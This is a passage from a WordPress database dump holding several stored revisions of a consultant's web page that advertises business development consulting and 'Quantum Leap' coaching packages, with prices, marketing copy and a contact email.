Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress in taking their business to next level. If this describes your current circumstances, my expertise provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Together, we''ll design a strategic and creative business development platform for success in four key areas:\r\n\r\n<strong>To whom you market–identifying the high value customers that represent the best opportunity for your business to grow.</strong>\r\n\r\n<strong>Why they buy– understanding the customer''s illumnitating needs, desires, motivations that drive engagement with your business products or services.\r\n</strong>\r\n\r\n<strong>What makes your business highly valued and difficult to substitute– clarity on what value your business represents to high value customers.\r\n</strong>\r\n\r\n<strong>How you compete– designing the artifacts, communications and experiences that influence high value customers to become loyal avocates of your business.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap\r\nPersonal and Professional Development Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a> </span></h2>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n<strong>\r\n</strong>\r\n\r\n&nbsp;', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-11-20 12:41:26', '2011-11-20 19:41:26', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-155/', 0, 'revision', '', 0);
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(1801, 2, '2011-07-03 16:43:48', '2011-07-03 23:43:48', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\n<strong>In one-on-one and in group settings, Thomson Dawson works with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income.</strong>\r\n\r\nThomson''s business development expertise will help you and your team focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through marketing, communication and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"> </span></span>For over 25 years, Thomson has worked with senior executives in diverse global companies, emerging companies, and owners of small start-ups alike. His insight and creativity in brand innovation, marketing, brand strategy and communications has contributed millions of dollars in revenue growth to over 70 organizations in North America and Europe.\r\n\r\nThomson''s diverse experience and expertise helps forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future. Two business development consulting packages are available through the White Hot Center:\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, Thomson provides insight, strategic and creative guidance to help you and your team overcome current business development challenges that may be holding back your progress toward achieving your stated business goals. Here''s what will happen:\r\n\r\n<strong>You''ll have a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> You''ll develop a highly differentiated positioning and value proposition that matters to the right high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, you''ll have specific recommendations and strategic imperatives to improve your effectiveness in building the influence and impact of your brand. These recommendations will form the foundation and guide your future product innovations, marketing and business development activities at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result, you and your team will experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly</strong></span>\r\n<h1><span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1716" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-pic.jpg" alt="" width="450" height="242" /></strong></span><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send me email: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. From there, we can arrange a brief telephone conversation to determine if there''s a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n<span style="color: #ff6600;">I am looking forward to working with you.\r\n</span>\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 16:43:48', '2011-07-03 23:43:48', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-149/', 0, 'revision', '', 0),
(1708, 2, '2011-07-03 11:56:28', '2011-07-03 18:56:28', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n\r\n<span style="color: #808080;"> </span><strong>Three decades of business development expertise.</strong>\r\n\r\n<strong> </strong><span style="color: #808080;"><span style="color: #000000;"></span></span>For over 25 years, I''ve worked with senior executives in diverse global companies and owners of small start-ups alike. My expertise in marketing, brand strategy and communications has contributed to their capabilities, improving their marketing effectiveness, and helping them to make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace. I tailor my diverse experience and expertise to help forward thinking early-stage entrepreneurs discover and pursue, with clarity and confidence, a bigger vision of their  future.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome whatever barriers may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen together:</h2>\r\n<strong>We’ll create a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> We''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness for building the influence and impact of your brand. These recommendations will guide your marketing and business development communications at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 11:56:28', '2011-07-03 18:56:28', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-137/', 0, 'revision', '', 0),
(1705, 2, '2011-07-03 11:39:10', '2011-07-03 18:39:10', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n</span></h2>\r\nI consult with early stage entrepreneurs, solo professionals and start-up businesses to inspire, guide and create ideas to help them gain greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics to master the inner game (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, your effectiveness, and your contributions to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision for your total life experience based solely on what truly matters to you, and brings you greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing, communication and  business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;"> I work with successful, early-stage entrepreneurs, helping them to discover and pursue with clarity and confidence a bigger vision of their future.<strong> Through insight, guidance and creativity I''ll help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong></strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. In that time, I''ve worked with senior executives in diverse global companies and with owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs, solo professionals and start-up businesses who are facing business development and marketing challenges that require an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide insight, strategic and creative guidance to help you and your team overcome whatever barriers may be holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen together:</h2>\r\n<strong>We’ll create a detailed business development plan designed around your strengths and unique talents that will foster sustained competitive advantage for your business. </strong>\r\n\r\n<strong> We''ll develop a highly differentiated positioning and value proposition that matters to high-value customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness for building the influence and impact of your brand. These recommendations will guide your marketing and business development communications at every touch point of interaction with your clients and customers.\r\n</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve the higher value clients that represent your bigger future.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 4-6 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>&nbsp;\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-07-03 11:39:10', '2011-07-03 18:39:10', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-134/', 0, 'revision', '', 0),
(1702, 2, '2011-06-17 12:02:48', '2011-06-17 19:02:48', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for early stage entrepreneurs and solo professionals you seek greater clarity and confidence to pursue their best opportunities to have more impact, influence and income. My passion is to help you see a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nOur work together will focus on ideas, strategy and tactics to master the inner (creative plane), and outer game (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDevelop a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;"> I work with successful, early-stage entrepreneurs, helping them to discover and pursue with clarity and confidence a bigger vision of their future.<strong> Through insight, guidance and creativity I''ll help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. In that time, I''ve worked with senior executives in diverse global companies and with owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nThis issue-based consulting program is designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen:</h2>\r\n<strong>Through innovation and creativity, we’ll create a detailed plan designed around the strengths and unique talents that will foster sustained competitive advantage in for your business. </strong>\r\n\r\n<strong>With you (and your team), we''ll develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. </strong>\r\n\r\n<strong>To leverage your enhanced positioning, we''ll create specific recommendations and strategic imperatives to improve the effectiveness of building your brand identity, your marketing, and business development communications at every touch point of interaction with your clients and customers.</strong>\r\n\r\n<strong>As a result of our work together, you''ll experience notably more clarity and confidence to pursue your best opportunities to serve higher value clients and customers who delight in their experience in doing business with you and sharing this value with others.\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Minimum investment: $15K+USD\r\nThe duration of this issue-based consulting engagement is generally within a 6-8 week time frame.</strong></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>Quantum Leap Business Coaching</h2>\r\nLeveraging your personal effectiveness, clarity and confidence by an order of magnitude is a quantum leap. You shouldn’t be surprised to learn that peek performance and unconventional success will require unconventional thinking. Quantum leaps require the type of thinking that removes the safety and security of your current beliefs. If you want to accelerate your rate of achievement, you must relinquish your current habits and kick up your game.  Begin to shift your thinking from limits and obstacles to potential and possibilities. To do that, let your burning desires guide your way forward. I can help increase your clarity and confidence to pursue your best opportunities to experience your bigger, better future.\r\n\r\n<strong>On-going business coaching that will inspire you to increase the quality of your presence in every aspect of your business and life success. Our coaching format is highly flexible, (and virtual) involving conference calls and online interaction that will enable you to laser focus on innovative ideas and practices to make a quantum leap to your next level of business and life success.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>Investment: $2,500 USD, monthly\r\n</strong></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closer to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-06-17 12:02:48', '2011-06-17 19:02:48', '', 138, 'http://www.whitehotcenter.com/uncategorized/138-revision-131/', 0, 'revision', '', 0),
(1638, 2, '2011-04-12 09:51:18', '2011-04-12 16:51:18', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nMy purpose is to inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.</strong></span></h2>\r\n<span style="color: #808080;"><strong>\r\n</strong></span>\r\n\r\n<span style="color: #808080;"><strong> </strong></span><strong>Three decades of business development expertise.</strong>\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director, brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and to owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy, and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Consulting</h2>\r\nAn issue-based consulting program designed for early stage entrepreneurs and solo professionals who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the source code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. The strategic business development consulting is designed for those  entrepreneurs who have identified a specific business development and marketing issue that requires an immediate solution to accelerate progress  in taking their business to next level. If this describes your current circumstances, I provide strategic and creative guidance to help you overcome whatever barriers are holding back your progress toward achieving your stated business goals.\r\n<h2>Here''s what we''ll make happen:</h2>\r\n<strong>Through innovation and creativity, we’ll create a detailed plan designed around your strengths and unique talents that will foster sustained competitive advantage in for your business. </strong>\r\n\r\n<strong>With you (and your team), we''ll develop a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. 